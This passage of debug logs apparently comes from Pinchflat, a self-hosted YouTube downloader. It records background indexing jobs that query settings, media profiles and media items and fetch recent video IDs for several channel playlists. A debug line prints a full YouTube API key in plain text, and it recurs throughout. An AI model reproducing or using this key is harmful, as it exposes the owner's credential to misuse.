FROM "settings" AS s0 LIMIT 1 [] 17:07:46.607 [debug] QUERY OK source="media_profiles" db=0.1ms idle=728.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:46.607 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:46.607 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 17:07:46.607 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:46.607 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:46.724 [debug] QUERY OK source="media_items" db=0.7ms idle=116.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 17:07:46.727 [debug] QUERY OK source="media_items" db=1.9ms idle=118.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 17:07:46.728 [debug] QUERY OK source="tasks" db=0.1ms idle=120.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800148, 40, ~U[2026-02-10 23:07:46Z], ~U[2026-02-10 23:07:46Z]] 17:07:46.728 [info] {"args":{"id":40},"id":3800109,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121428,"event":"job:stop","queue_time":526286,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:47.607 [info] {"args":{"id":2},"id":3800110,"meta":{},"system_time":1770764867607685744,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:47.608 [debug] QUERY OK source="sources" db=0.1ms idle=879.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:07:47.608 [debug] QUERY OK source="settings" db=0.1ms idle=879.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:47.608 [debug] QUERY OK source="media_profiles" db=0.0ms idle=873.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:47.608 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:47.608 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:07:47.608 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:47.608 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:47.705 [debug] QUERY OK source="media_items" db=0.5ms idle=96.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 17:07:47.707 [debug] QUERY OK source="media_items" db=2.1ms idle=97.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:07:47.708 [debug] QUERY OK source="tasks" db=0.1ms idle=99.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800149, 2, ~U[2026-02-10 23:07:47Z], ~U[2026-02-10 23:07:47Z]] 17:07:47.708 [info] {"args":{"id":2},"id":3800110,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100939,"event":"job:stop","queue_time":475567,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:49.609 [info] {"args":{"id":38},"id":3800111,"meta":{},"system_time":1770764869609702798,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:49.610 [debug] QUERY OK source="sources" db=0.1ms idle=731.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:07:49.610 [debug] QUERY OK source="settings" db=0.1ms idle=731.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:49.610 [debug] QUERY OK source="media_profiles" db=0.0ms idle=732.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:49.610 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:49.610 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:07:49.610 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:49.610 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:49.755 [debug] QUERY OK source="media_items" db=0.5ms idle=144.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 17:07:49.757 [debug] QUERY OK source="media_items" db=1.5ms idle=145.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:07:49.758 [debug] QUERY OK source="tasks" db=0.1ms idle=147.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800150, 38, ~U[2026-02-10 23:07:49Z], ~U[2026-02-10 23:07:49Z]] 17:07:49.758 [info] {"args":{"id":38},"id":3800111,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148702,"event":"job:stop","queue_time":289831,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:51.612 [info] {"args":{"id":41},"id":3800112,"meta":{},"system_time":1770764871612707954,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:51.613 [debug] QUERY OK source="sources" db=0.1ms idle=734.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:07:51.613 [debug] QUERY OK source="settings" db=0.1ms idle=734.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:51.613 [debug] QUERY OK source="media_profiles" db=0.0ms idle=734.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:51.613 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:51.613 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:07:51.613 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:51.613 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:51.866 [debug] QUERY OK source="media_items" db=0.6ms idle=252.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 17:07:51.867 [debug] QUERY OK source="media_items" db=0.6ms idle=253.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:07:51.868 [debug] QUERY OK source="tasks" db=0.1ms idle=254.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800151, 41, ~U[2026-02-10 23:07:51Z], ~U[2026-02-10 23:07:51Z]] 17:07:51.868 [info] {"args":{"id":41},"id":3800112,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":255890,"event":"job:stop","queue_time":550748,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:52.614 [info] {"args":{"id":5},"id":3800113,"meta":{},"system_time":1770764872614804616,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:52.615 [debug] QUERY OK source="sources" db=0.1ms idle=746.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:07:52.615 [debug] QUERY OK source="settings" db=0.1ms idle=746.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 